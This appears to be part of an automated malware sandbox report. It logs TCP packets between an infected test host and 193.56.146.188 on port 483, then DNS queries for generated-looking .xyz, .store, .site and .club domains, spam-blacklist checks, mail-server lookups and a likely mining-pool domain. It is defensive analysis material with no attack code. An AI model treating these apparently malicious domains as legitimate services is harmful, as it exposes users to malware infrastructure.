Sep 7, 2021 16:03:13.172080040 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172112942 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.172367096 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172396898 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172420025 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172442913 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172463894 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172483921 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.172487974 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172502995 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.172513962 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172535896 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172540903 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.172615051 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.182812929 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.182856083 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.182929039 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.182944059 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.182971001 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.182992935 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183017015 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183032036 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183039904 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183067083 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183079004 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183090925 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183109045 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183142900 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183147907 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183175087 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183187962 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183192015 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183214903 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183235884 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183238983 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183269024 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183293104 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183294058 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183315992 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183317900 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183337927 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183363914 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183382034 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183386087 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183408976 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183418036 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183434010 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183449984 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183459044 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183484077 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183505058 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183527946 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183530092 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183551073 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.183573961 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.183613062 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.232620955 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.232651949 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.232729912 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243052959 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243094921 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243128061 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243164062 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243174076 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243187904 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243211031 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243225098 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243238926 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243263006 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243263960 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243285894 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243309021 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243311882 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243330956 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243352890 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243355989 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243376017 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243396044 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243398905 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243423939 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243443012 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243448973 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243472099 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243494034 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.243494034 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.243539095 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254368067 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254405975 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254430056 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254452944 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254475117 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254499912 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254507065 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254525900 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254549026 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254550934 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254570961 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254601955 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254606009 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254623890 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254647017 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254648924 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254668951 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254692078 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254692078 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254714012 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254735947 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254745007 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254761934 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254777908 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254785061 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254806042 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254827023 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254832983 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254848003 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254868984 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254869938 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254892111 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254910946 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254914999 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254940987 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254964113 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.254966021 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.254987001 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255008936 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255009890 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255031109 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255050898 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255053043 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255076885 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255090952 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255100012 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255141020 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255156040 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255170107 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255194902 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255217075 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255218029 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255244970 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255269051 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255275965 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255299091 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255317926 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255321026 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255346060 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255371094 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255371094 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255395889 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255418062 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255426884 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255443096 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255466938 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255484104 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255491972 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255515099 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255522013 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255533934 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255558014 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255568027 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255583048 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255605936 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255611897 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255630016 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255646944 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.255652905 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255681038 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.255698919 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.256761074 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314254999 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314318895 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314337969 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314362049 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314382076 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314400911 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314425945 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314445019 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314467907 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314483881 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314492941 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314505100 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314517975 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314542055 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314547062 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314552069 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314563036 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314570904 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314599991 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314623117 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314646959 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314670086 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314693928 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.314748049 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.314752102 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326488972 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326522112 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326543093 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326565981 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326565981 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326589108 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326596975 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326612949 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326634884 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326658010 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326658964 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326680899 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326685905 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326708078 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326730967 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326755047 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326776981 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326795101 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326800108 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326822996 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326824903 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326844931 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326853991 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.326865911 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326888084 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326910019 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.326932907 CEST	483	49777	193.56.146.188	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 7, 2021 16:02:31.113086939 CEST	192.168.2.4	8.8.8.8	0xca85	Standard query (0)	fazanaharahe1.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.261399984 CEST	192.168.2.4	8.8.8.8	0xa1f1	Standard query (0)	xandelissane2.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.366910934 CEST	192.168.2.4	8.8.8.8	0xcd4e	Standard query (0)	ustiassosale3.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.461891890 CEST	192.168.2.4	8.8.8.8	0x706a	Standard query (0)	cytheriata4.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.584446907 CEST	192.168.2.4	8.8.8.8	0x1c6e	Standard query (0)	ggiergionard5.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.768779993 CEST	192.168.2.4	8.8.8.8	0x561f	Standard query (0)	rrelleynaniy6.store	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.830552101 CEST	192.168.2.4	8.8.8.8	0x2b8d	Standard query (0)	danniemusoa7.store	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.878092051 CEST	192.168.2.4	8.8.8.8	0xfe8a	Standard query (0)	nastanizab8.store	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.926071882 CEST	192.168.2.4	8.8.8.8	0x5377	Standard query (0)	onyokandis9.store	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.973817110 CEST	192.168.2.4	8.8.8.8	0x4696	Standard query (0)	dmunaavank10.store	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.053122044 CEST	192.168.2.4	8.8.8.8	0xa5fc	Standard query (0)	gilmandros11.site	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.202492952 CEST	192.168.2.4	8.8.8.8	0xe5d2	Standard query (0)	cusanthana12.site	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.301390886 CEST	192.168.2.4	8.8.8.8	0x9ce	Standard query (0)	willietjeana13.site	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.390363932 CEST	192.168.2.4	8.8.8.8	0x87b0	Standard query (0)	ximusokall14.site	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.503998995 CEST	192.168.2.4	8.8.8.8	0x40ad	Standard query (0)	blodinetisha15.site	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.634881973 CEST	192.168.2.4	8.8.8.8	0x7fa4	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:33.261997938 CEST	192.168.2.4	8.8.8.8	0x8a91	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:33.678745031 CEST	192.168.2.4	8.8.8.8	0xebb8	Standard query (0)	privacytoolz123foryou.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:34.610627890 CEST	192.168.2.4	8.8.8.8	0x536b	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.028446913 CEST	192.168.2.4	8.8.8.8	0x33e6	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.379103899 CEST	192.168.2.4	8.8.8.8	0x6e2e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.693696022 CEST	192.168.2.4	8.8.8.8	0x173d	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.989662886 CEST	192.168.2.4	8.8.8.8	0xd153	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:36.326417923 CEST	192.168.2.4	8.8.8.8	0x2d91	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:38.170444965 CEST	192.168.2.4	8.8.8.8	0xa2e0	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:38.460640907 CEST	192.168.2.4	8.8.8.8	0x201e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:42.713629007 CEST	192.168.2.4	8.8.8.8	0xf48e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:43.387784004 CEST	192.168.2.4	8.8.8.8	0xcdb1	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:43.988053083 CEST	192.168.2.4	8.8.8.8	0xb0ba	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:44.710570097 CEST	192.168.2.4	8.8.8.8	0x773e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:47.623325109 CEST	192.168.2.4	8.8.8.8	0x9649	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:48.143219948 CEST	192.168.2.4	8.8.8.8	0x65f8	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:50.652780056 CEST	192.168.2.4	8.8.8.8	0xb453	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:51.055980921 CEST	192.168.2.4	8.8.8.8	0xa8fb	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:51.530148983 CEST	192.168.2.4	8.8.8.8	0xf98d	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:53.429303885 CEST	192.168.2.4	8.8.8.8	0x322	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:53.822123051 CEST	192.168.2.4	8.8.8.8	0xcdf6	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:54.166975021 CEST	192.168.2.4	8.8.8.8	0x1c38	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:54.580506086 CEST	192.168.2.4	8.8.8.8	0x2974	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:02.755491018 CEST	192.168.2.4	8.8.8.8	0x8188	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:03.116275072 CEST	192.168.2.4	8.8.8.8	0x2091	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:04.146421909 CEST	192.168.2.4	8.8.8.8	0x6d21	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:04.468564987 CEST	192.168.2.4	8.8.8.8	0xbda3	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:08.890892029 CEST	192.168.2.4	8.8.8.8	0x4016	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:11.390219927 CEST	192.168.2.4	8.8.8.8	0xd291	Standard query (0)	defeatwax.ru	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:13.549412966 CEST	192.168.2.4	8.8.8.8	0xf591	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:13.903647900 CEST	192.168.2.4	8.8.8.8	0xccc4	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:14.280683041 CEST	192.168.2.4	8.8.8.8	0xe75e	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:14.666702986 CEST	192.168.2.4	8.8.8.8	0x17e2	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:15.375175953 CEST	192.168.2.4	8.8.8.8	0x97f5	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:15.859355927 CEST	192.168.2.4	8.8.8.8	0xa84b	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:16.714219093 CEST	192.168.2.4	8.8.8.8	0xdf46	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:17.091053963 CEST	192.168.2.4	8.8.8.8	0xba0f	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:18.447315931 CEST	192.168.2.4	8.8.8.8	0x4b72	Standard query (0)	urydiahadyss16.club	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:18.877332926 CEST	192.168.2.4	8.8.8.8	0xde34	Standard query (0)	wp.pl	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:18.878151894 CEST	192.168.2.4	8.8.8.8	0xc1df	Standard query (0)	41.52.17.84.dnsbl.sorbs.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.063621998 CEST	192.168.2.4	8.8.8.8	0x1a6e	Standard query (0)	41.52.17.84.bl.spamcop.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.064374924 CEST	192.168.2.4	8.8.8.8	0x50b9	Standard query (0)	mx.wp.pl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.199778080 CEST	192.168.2.4	8.8.8.8	0x5a6a	Standard query (0)	fastpool.xyz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.247148991 CEST	192.168.2.4	8.8.8.8	0xc14	Standard query (0)	btinternet.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:19.450925112 CEST	192.168.2.4	8.8.8.8	0x9a64	Standard query (0)	41.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.454689980 CEST	192.168.2.4	8.8.8.8	0x54ce	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
